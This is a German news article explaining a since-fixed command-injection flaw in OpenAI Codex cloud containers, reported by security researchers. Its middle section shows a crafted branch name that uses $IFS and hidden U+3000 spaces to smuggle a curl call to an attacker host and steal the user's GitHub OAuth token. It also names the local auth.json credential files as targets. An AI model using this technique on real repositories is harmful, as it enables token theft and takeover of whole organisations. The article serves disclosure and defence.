OpenAI Codex: GitHub-Token-Raub durch unsichtbare Befehle

Was, wenn ein simpler Branch-Name in Ihrem Repository zum digitalen Generalschlüssel für Ihre gesamte GitHub-Organisation wird?

Sicherheitsforscher haben eine Methode entdeckt, mit der Angreifer OpenAI Codex austricksen und über unsichtbare Unicode-Befehle hochsensible OAuth-Tokens stehlen konnten. Das Risiko betrifft nicht nur einzelne Entwickler, sondern die gesamte Toolchain. Wir zeigen Ihnen, warum Ihre KI-Agenten im Hintergrund vielleicht mehr verraten, als Ihnen lieb ist.

Die Ausgangslage: Eine Schwachstelle in der gesamten Toolchain

Die Sicherheitsforscher der BeyondTrust Phantom Labs identifizierten eine gravierende Lücke in der Cloud-Infrastruktur von OpenAI Codex. Das Besondere an dieser Schwachstelle war ihre enorme Reichweite. Sie betraf nicht nur eine einzelne Anwendung, sondern die gesamte Architektur, über die Entwickler heute mit Codex interagieren:

• Das ChatGPT-Webportal: Die direkte Integration von Codex in die bekannte Chat-Oberfläche.
• Codex CLI und SDK: Die Werkzeuge für die Kommandozeile und die softwareseitige Einbindung in eigene Prozesse.
• Die Codex IDE-Erweiterung: Die Integration direkt in der Entwicklungsumgebung (z. B. VS Code).
• Automatisierte Code-Reviews: Die Funktion, bei der Codex via Kommentar in GitHub (z. B. durch das Taggen von @codex) zur Prüfung von Code aufgerufen wird.

Sämtliche identifizierte Probleme wurden nach der Entdeckung in enger Abstimmung mit dem Sicherheitsteam von OpenAI behoben. Dennoch liefert die technische Analyse eine beunruhigende Blaupause dafür, wie verwundbar automatisierte KI-Workflows heute tatsächlich sind.

Der „unsichtbare“ Angriffsweg

Der Kern des Problems war eine mangelhafte Validierung (Sanitization) von Benutzereingaben. Wenn ein Entwickler einen Auftrag an Codex sendet, startet im Hintergrund ein isolierter Cloud-Container. Die Forscher fanden heraus, dass ein bestimmter Parameter – der GitHub-Branch-Name – ungefiltert in die Shell-Befehle dieses Containers übernommen wurde.

1. Die Command Injection (Befehlseinschleusung)

Normalerweise blockiert GitHub Leerzeichen in Branch-Namen, was Angriffe über die Kommandozeile erschweren soll. Die Forscher umgingen dies jedoch mit einem technischen Kniff: Sie nutzten den Bash-internen Separator $IFS (Internal Field Separator). Anstatt eines echten Leerzeichens verarbeitete das System diesen Code als Trenner. Mit einem präparierten Branch-Namen wie main;curl${IFS}'[Angreifer-Server]' gelang es ihnen, aus dem vorgesehenen Befehl auszubrechen und eigene, bösartige Befehle einzuschleusen.

2. Die unsichtbare Tarnung (Unicode U+3000)

Damit der Angriff im Arbeitsalltag nicht auffällt, nutzten die Experten das sogenannte ideographische Leerzeichen (Unicode U+3000). Sie hängten exakt 94 dieser speziellen Leerzeichen vor ihren Schadcode.

• In der Benutzeroberfläche: Für den menschlichen Nutzer sah der Branch völlig normal aus (z. B. nur „main“), da der restliche Text durch die massiven Leerzeichen einfach aus dem sichtbaren Bereich der Weboberfläche geschoben wurde.
• Im Hintergrund: Die Bash-Umgebung des Containers ignorierte diese Unicode-Zeichen einfach und führte den angehängten Befehl (z. B. den Diebstahl des Tokens via curl an einen AWS EC2-Server) fehlerfrei aus.

3. Der Diebstahl des OAuth-Tokens

Da der Codex-Container das GitHub-OAuth-Token des Nutzers benötigt, um das Repository zu klonen, liegt dieses Token innerhalb der Container-Umgebung vor. Durch die eingeschleusten Befehle konnten die Forscher dieses Token im Klartext auslesen und exfiltrieren. Damit war der „Generalschlüssel“ für das GitHub-Konto des Opfers kompromittiert.

Gefahr für die gesamte Organisation

Die Forscher zeigten, dass dieser Angriff nicht auf gezielte Einzelattacken beschränkt ist. Durch Automatisierung lässt sich der Schaden massiv vergrößern:

• Manipulation des Default-Branch: Angreifer mit entsprechenden Schreibrechten im Repository konnten den manipulierten Branch einfach als Standard festlegen. Jeder Kollege, der Codex danach auf dieses Projekt anwandete, verlor automatisch sein Token.
• Gefahr bei Code-Reviews: Sobald jemand in einem GitHub-Kommentar @codex erwähnt, startet ein automatisierter Review-Container. Verweist dieser auf den manipulierten Branch, wird sofort das GitHub Installation Access Token gestohlen. Damit erhält der Angreifer weitreichende Rechte über die gesamte GitHub-Organisation hinweg.

Ein weiterer kritischer Punkt betrifft die lokale Sicherheit auf den Entwickler-Rechnern. Codex-Anwendungen speichern Authentifizierungsdaten lokal ab, um die Arbeit zu erleichtern:

• Pfade: %USERPROFILE%\.codex\auth.json (Windows) bzw. ~/.codex/auth.json (macOS/Linux).
• Inhalt: API-Keys, Access- und Refresh-Tokens.

Diese Dateien sind ein hochsensibles Ziel. Ein Angreifer mit lokalem Zugriff auf den Rechner könnte diese Daten stehlen. Damit kann er die Codex-Backend-API direkt ansprechen, die Task-Historie anderer Nutzer abfragen und so ebenfalls an deren GitHub-Tokens gelangen – ganz ohne jemals die Weboberfläche zu nutzen.

Die Lösung: Agentic AI Security als Standard

KI-Agenten wie Codex sind keine reinen Tools, sondern Live-Ausführungsumgebungen. Da sie autonom agieren, müssen sie als hochprivilegierte, nicht-menschliche Identitäten (NHIs) behandelt werden.

Zentrale Handlungsempfehlungen für die IT-Leitung:

1. Zero Trust für KI-Inputs: Vertrauen Sie niemals auf die Eingabebeschränkungen externer Plattformen. Jede Benutzereingabe muss serverseitig strikt validiert werden, bevor sie in eine Shell-Umgebung gelangt.
2. Audit der GitHub-Berechtigungen (Least Privilege): Prüfen Sie konsequent, welche Scopes KI-Apps wirklich benötigen. Ein kompromittiertes Token auf Organisationsebene darf niemals zum Domino-Effekt für die gesamte Firma werden.
3. Identity Governance & AISPM: Nutzen Sie Lösungen wie AI Security Posture Management, um die oft verborgenen Zugriffspfade von KI-Identitäten transparent zu machen und Anomalien im API-Verkehr frühzeitig zu erkennen.

Fazit

Der Fall OpenAI Codex zeigt: Je tiefer KI-Agenten in unsere Workflows integriert werden, desto kritischer wird die Sicherheit der Container-Umgebungen, in denen sie laufen. Die Sicherheit der Container und die Validierung jedes einzelnen Zeichens sind ab sofort so kritisch wie die Firewall am Netzübergang.

Hier kann die Studie ausführlich nachgelesen werden.